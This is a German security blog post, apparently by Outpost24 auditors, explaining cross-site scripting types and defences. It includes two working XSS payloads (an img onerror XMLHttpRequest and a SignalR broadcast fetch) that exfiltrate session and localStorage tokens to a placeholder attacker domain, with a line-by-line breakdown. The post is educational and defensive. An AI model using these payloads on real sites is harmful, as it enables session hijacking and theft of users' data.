Cross-Site-Scripting-Angriffe und wie sich Organisationen dagegen schützen können

Cross-Site Scripting (XSS)-Angriffe stellen mit ca. 10% aller Cyberangriffe auf Unternehmen eine ernstzunehmende Sicherheitsbedrohung dar, da sie die Eingabefelder einer Webanwendung mit bösartigen Codefragmenten infiltrieren. Wenn Benutzer auf die betroffenen Seiten zugreifen, wird dieser Code in ihren Browsern ausgeführt, wodurch deren sensible Daten gefährdet werden.

Der bösartige Inhalt, der in den Webbrowser eingeschleust wird, kann verschiedene Formen annehmen, z. B. JavaScript, HTML, Flash oder anderen ausführbaren Code. XSS-Angriffe gibt es in zahlreichen Formen, aber in der Regel werden private Daten wie Cookies und Sitzungsinformationen gestohlen oder die Opfer werden auf von Angreifern kontrollierte Webinhalte umgeleitet.

Sobald der bösartige Code im Browser eines Benutzers ausgeführt wird, haben Angreifer die Möglichkeit, auf wichtige Daten wie Cookies, Sitzungs-Token und Benutzeranmeldeinformationen zuzugreifen, diese zu ändern oder sogar zu stehlen. Diese gestohlenen Informationen können für Identitätsdiebstahl, Betrug oder unbefugten Systemzugriff ausgenutzt werden.

Cross Site Scripting (XSS)-Angriffe im Detail

XSS-Angriffe nutzen die Einbindung bösartiger Codeschnipsel in verschiedene Eingabefelder von Webanwendungen, darunter Formulare, Suchleisten und Kommentarabschnitte. Solche Angriffe treten unter bestimmten Umständen auf:

  • Nicht vertrauenswürdige Dateneingabe: Der Angriff beginnt, wenn Daten über eine nicht vertrauenswürdige Quelle, in der Regel eine Webanforderung, in eine Webanwendung gelangen.
  • Fehlende Validierung: Die eingeschleusten Daten werden Teil des dynamischen Inhalts, der an die Webbenutzer gesendet wird, ohne dass eine ordnungsgemäße Prüfung auf schädliche Inhalte durchgeführt wird.

Typische Ziele von XSS-Angriffen

XSS-Angriffe dienen verschiedenen Zielen, darunter:

  1. Einbindung von schädlichen Inhalten: Angreifer täuschen ahnungslose Benutzer, indem sie schädliche Inhalte in Webseiten einfügen, was zu Phishing-Versuchen oder Drive-by-Download-Angriffen führen kann.
  2. Stehlen von Sitzungscookies: Angreifer haben es auf Sitzungscookies abgesehen, um, damit Session-Hijacking-Angriffe durchzuführen. Dadurch verschaffen sie sich unbefugten Zugang zu möglicherweise vertraulichen Bereichen.
  3. Abgreifen vertraulicher Formular-Eingaben: Angreifer fangen Formularübertragungen ab, um vertrauliche Informationen wie Anmeldedaten oder Kreditkartendetails zu erbeuten.
  4. Impersonation von Benutzern: Angreifer nutzen XSS-Schwachstellen aus, um im Namen von Opfern Anfragen zu übermitteln und deren Berechtigungen innerhalb der Anwendung auszunutzen. Durch diese Taktik werden Sicherheitsmaßnahmen umgangen, wodurch möglicherweise erhöhte Berechtigungen oder unbefugter Zugriff gewährt werden.
  5. Datendiebstahl: Angreifer können XSS-Schwachstellen ausnutzen, um sensible Daten aus den Browsern der Opfer zu extrahieren, darunter Cookies oder andere über JavaScript zugängliche Informationen. Dieser unbefugte Zugriff ermöglicht es ihnen, wertvolle Daten zu stehlen und die Privatsphäre und Sicherheit der Opfer zu gefährden.

Wenn Entwickler und Sicherheitsexperten diese üblichen Ziele verstehen, können sie sich besser vor XSS-Angriffen schützen und deren potenzielle Auswirkungen abschwächen.

Die unterschiedlichen Arten von XSS-Angriffen

XSS-Angriffe lassen sich in drei Arten unterteilen:

  • Reflected (auch bekannt als Non-Persistent oder Typ I): Dieser Angriffstyp tritt auf, wenn Benutzereingaben sofort auf einer Webseite angezeigt werden, ohne dass eine ordnungsgemäße Validierung oder Maskierung durchgeführt wird. Dies kann zum Beispiel bei Fehlermeldungen oder Suchergebnissen der Fall sein. Der Begriff „Reflected“ bezieht sich auf die Tatsache, dass das bösartige Skript vom Webserver „reflektiert“ und dann im Browser des Benutzers ausgeführt wird.
  • Stored XSS (auch bekannt als Persistent oder Typ II): Bei dieser Art von Angriff werden Benutzereingaben auf dem Server gespeichert und später anderen Benutzern angezeigt, ohne dass sie einer angemessenen Prüfung oder entsprechenden Sicherheitsmaßnahmen ausgesetzt werden. Der Begriff „Stored“ bedeutet, dass das bösartige Skript auf dem Server gespeichert und dann an die Browser anderer Benutzer gesendet wird.
  • DOM-basiertes XSS (auch bekannt als Typ-0): Dieser Angriff erfolgt, wenn ein Skript die Struktur der Webseite (das DOM) auf schädliche Weise manipuliert, indem es die vom Benutzer bereitgestellten Eingaben verwendet. Im Gegensatz zu den vorherigen Typen findet der Angriff im Browser des Benutzers statt, und zwar im DOM und nicht auf dem Server.

Praxisnahe Beispiele für XSS-Angriffe

Beispiel 1: Session Hijacking

In diesem Beispiel einer Stored-XSS-Payload wird gezeigt, wie ein scheinbar normaler Benutzer mithilfe einer fortgeschrittenen XSS-Payload das Session-Token eines Administrators kompromittiert. Sobald sich der Angreifer damit dann unbefugt Zugang zu seinem Konto verschafft hat, kann er dieses und die Rechte des Administrators vollständig übernehmen.

Typischerweise fügt ein User mit normalen Berechtigungen eine speziell entwickelte XSS-Payload in eine Funktion einer Webanwendung ein, z. B. in einen Kommentarbereich oder einen Update-Flow eines Benutzerprofils:

"> <img src="1" onerror="var xhr= new XMLHttpRequest(); xhr.open('GET', 'https://[ATTACKER-DOMAIN]?token='+window.sessionStorage.getItem('5')); xhr.send();" />

Diese Payload wird aktiviert, wenn ein Administrator oder ein anderer Benutzer die betroffene Seite aufruft, und leitet eine Reihe verdeckter Operationen ein, um das Sitzungs-Token des Opferbenutzers auf einen vom Angreifer kontrollierten Server zu exfiltrieren:

# 1. HTML Attribute Termination (`">`):
The sequence `">` effectively terminates the current HTML attribute. This is critical for breaking out of the restricted context (like a text input field) and starting the injection of new HTML or script elements. 

# 2. Image Tag as a Trigger (`<img src="1">`):
An `<img>` element with an intentionally invalid source (`src="1"`) is inserted. This part of the payload is designed to fail (as the image doesn't exist), which is essential for triggering the JavaScript error handler. 

# 3. JavaScript Execution via Error Handling (`onerror="...`):
The `onerror` attribute is exploited here. It's a JavaScript event handler that activates when the image loading results in an error. This is where the attacker cleverly injects their script.

# 4. Creating and Configuring the XMLHttpRequest:
`var xhr= new XMLHttpRequest();`:
Initializes a new HTTP request. 

`xhr.open('GET', 'https://[ATTACKER-DOMAIN]?token=...')`:  
Configures the XMLHttpRequest to send a GET request to the attackers domain. The request includes a query parameter (?token=) designed to carry stolen data.

`window.sessionStorage.getItem('5')`: 
This script accesses the session storage of the users browser, attempting to retrieve sensitive data (like a session token).

`xhr.send();`:
Executes the request, exfiltrating the retrieved data to the attacker's server. 

# 5. Closure of the Payload (`"/>`):
Ensures that the HTML structure remains intact. This is necessary to prevent any visible malfunctions on the page, which could alert users or administrators to the malicious activity.

Beispiel 2: Anwendungsübergreifendes Session-Hijacking

Dieses Beispiel illustriert eine kritische XSS-Schwachstelle in einer Anwendung, die die Broadcast Messages-Funktion von SignalR für Benachrichtigungs-Pop-ups nutzt. Die Ausnutzung dieser Schwachstelle führte zu unberechtigtem Zugriff auf alle derzeit aktiven Benutzerkonten.

Während bei den meisten Eingabefeldern angemessene Bereinigungsmechanismen vorhanden waren, löste eine Schaltfläche für Benachrichtigungen ein Popup aus, das eine generische Nachricht für alle aktiven Benutzer der Anwendung anzeigte. Dies stellte ein ideales Ziel für einen XSS-Angriff dar, der theoretisch an alle Benutzer, die die Benachrichtigung erhielten, übermittelt werden konnte. Bei näherer Betrachtung stellte sich heraus, dass die Pop-up-Nachrichten über einen WebSocket-Aufruf mit der folgenden Nachricht gesendet wurden:

{"type":1,"target":"EmployerMessage","arguments":["11a111a-1c23-123w-2ad1-5bcdaf086234","{\"messageType\":\"Test\",\"data\":{\"content\":\"Generic Content Message...\",\"originatingSessionId\":\"1236abcd-1f2a-1c23-12a3-d495767d2ac\",\"timestamp\":\"2023-11-09T09:02:32.037Z\"}}"]}

Das Content-Argument innerhalb des WebSocket-Aufrufs enthält die anzuzeigende Nachricht. Um die Möglichkeit einer XSS-Schwachstelle zu bewerten, wurde versucht, Inhalte in den content-Parameter einzubetten. Insbesondere wurde zu Testzwecken ein defektes Bild-Tag verwendet.

{\"content\":\"<img src=x>\",

Überraschenderweise wurde der defekte Bild-Tag ohne jegliche Bereinigung an den Browser zurückgesendet, was bestätigte, dass die Funktion für XSS anfällig war. Bei der Untersuchung der Verarbeitung von Berechtigungen wurde außerdem festgestellt, dass sensible Informationen (einschließlich der Sitzungsdaten des Opfers) im localStorage des Browsers gespeichert wurden, was eine ausgezeichnete Gelegenheit für einen Angriff darstellt.

Um solch einen Angriff unauffällig auszuführen, wurde eine schädliche Payload unter Verwendung des defekten Image-Tags erstellt. Um sicherzustellen, dass die Nutzlast wie ein normales Popup-Fenster erscheint, wurde der folgende Code angehängt: „onerror=this.style.display=’none'“. Dadurch wird verhindert, dass der defekte Bild-Tag angezeigt wird und der Benutzer des Opfers über etwaige gefährliche Aktivitäten benachrichtigt wird. In der Nutzlast bestand das Ziel darin, die localStorage-Daten abzurufen und sie an den vom Angreifer kontrollierten Server zu übermitteln.

\"content\":\"Outpost24, stealing some Local Storage!<img src=x onerror=this.style.display='none',fetch('https://[ATTACKER-DOMAIN]/extractedData?LocalStorage='+btoa(JSON.stringify(localStorage)))>\"

Durch Übermittlung dieser Payload wird eine Benachrichtigung für alle aktiven Benutzer der Anwendung ausgelöst. Diese Benachrichtigung führt das bösartige JavaScript in den Browsern dieser Benutzer aus und exfiltriert ihre localStorage-Daten direkt in unsere vom Angreifer kontrollierte Domain.

Abbildung 1 – Verbindungen zu der vom Angreifer kontrollierten Domäne, die die Sitzungs-Token unserer Opfer enthalten

So konnten wir erfolgreich die Sitzungen aller derzeit aktiven Benutzer übernehmen. Dieser Angriff wurde durch die WebSocket SignalR Broadcast Message-Anfrage ermöglicht, welche während der Entwicklung übersehen wurde und bei der keine entsprechenden Bereinigungsmaßnahmen vorhanden sind.

Dieser Fall zeigt, dass der Kontext, in dem das injizierte JavaScript ausgeführt wird, von entscheidender Bedeutung ist, wenn es um die Kritikalität einer XSS-Schwachstelle geht. Darüber hinaus ist es, wie im vorangegangenen Beispiel in diesem Blog, wichtig, sicherzustellen, dass sensible Daten nicht im lokalen oder Session-Storage des Browsers gespeichert werden, wo sie von JavaScript abgerufen werden können. Speichern Sie sensible Daten und insbesondere Sitzungs-Tokens stattdessen in Cookies mit den entsprechend eingestellten Attributen SameSite, Secure und HttpOnly.

Abwehr von XSS-Angriffen

Die Wirksamkeit eines XSS-Angriffs hängt weitgehend von den Sicherheitsmaßnahmen der Webanwendung, der Ausgereiftheit des Schadskripts und manchmal auch von der Interaktion des Benutzers (z.B. bei Phishing) ab.

Die folgenden Maßnahmen können Ihnen helfen, die mit XSS-Angriffen verbundenen Gefahren zu mindern:

Regelmäßige Pentests mit Outpost24

Sicherheitsprüfungen für Webanwendungen sind von entscheidender Bedeutung für die Identifizierung von Schwachstellen und Fehlern, einschließlich kritischer XSS-Schwachstellen. Deshalb bietet Outpost24 eine umfassende Pentest-as-a-Service-Lösung (PTaaS) an, mit der Sie Ihre Anwendungen regelmäßig Überprüfen können. Sie kombiniert die Sorgfalt und das Fachwissen manueller Penetrationstests mit kontinuierlichem Schwachstellen-Scanning und bietet so skalierbare und robuste Sicherheitsanalysen Ihrer Webanwendungen.

Gerne beraten wir Sie zu Ihren individuellen Sicherheitsanforderungen und Herausforderungen!

About the Author

Agon Hysenaj Senior Application Security Auditor, Outpost24

Agon verfügt über mehr als 6 Jahre Erfahrung im Bereich Penetrationstests. Mit Schwerpunkt auf der Identifizierung von Schwachstellen führt Agon gründliche Analysen von Systemen, Anwendungen und Netzwerken durch. Durch umfassende technische Recherchen ist man aufkommenden Bedrohungen immer einen Schritt voraus.

Erik Zettergren Application Security Auditor, Outpost24

Erik ist ein erfahrener Application Security Auditor bei Outpost24 und verfügt über umfangreiche Erfahrungen in den Bereichen Penetrationstests und Sicherheitsforschung, wobei sein Schwerpunkt auf der Beurteilung von Webanwendungen liegt. Er besitzt eine bemerkenswerte Zertifizierung als Burp Suite Practitioner.

Thomas Stacey Application Security Auditor, Outpost24

Thomas ist ein Application Security Auditor bei Outpost24. Er ist ein hochqualifizierter Penetrationstester und Sicherheitsforscher mit über fünf Jahren Erfahrung im Bereich Web Application Testing. Er ist ein Burp-Suite-Praktiker, ein Vollzeit-Lego-Enthusiast, und liebt es, sein Wissen mit anderen zu teilen.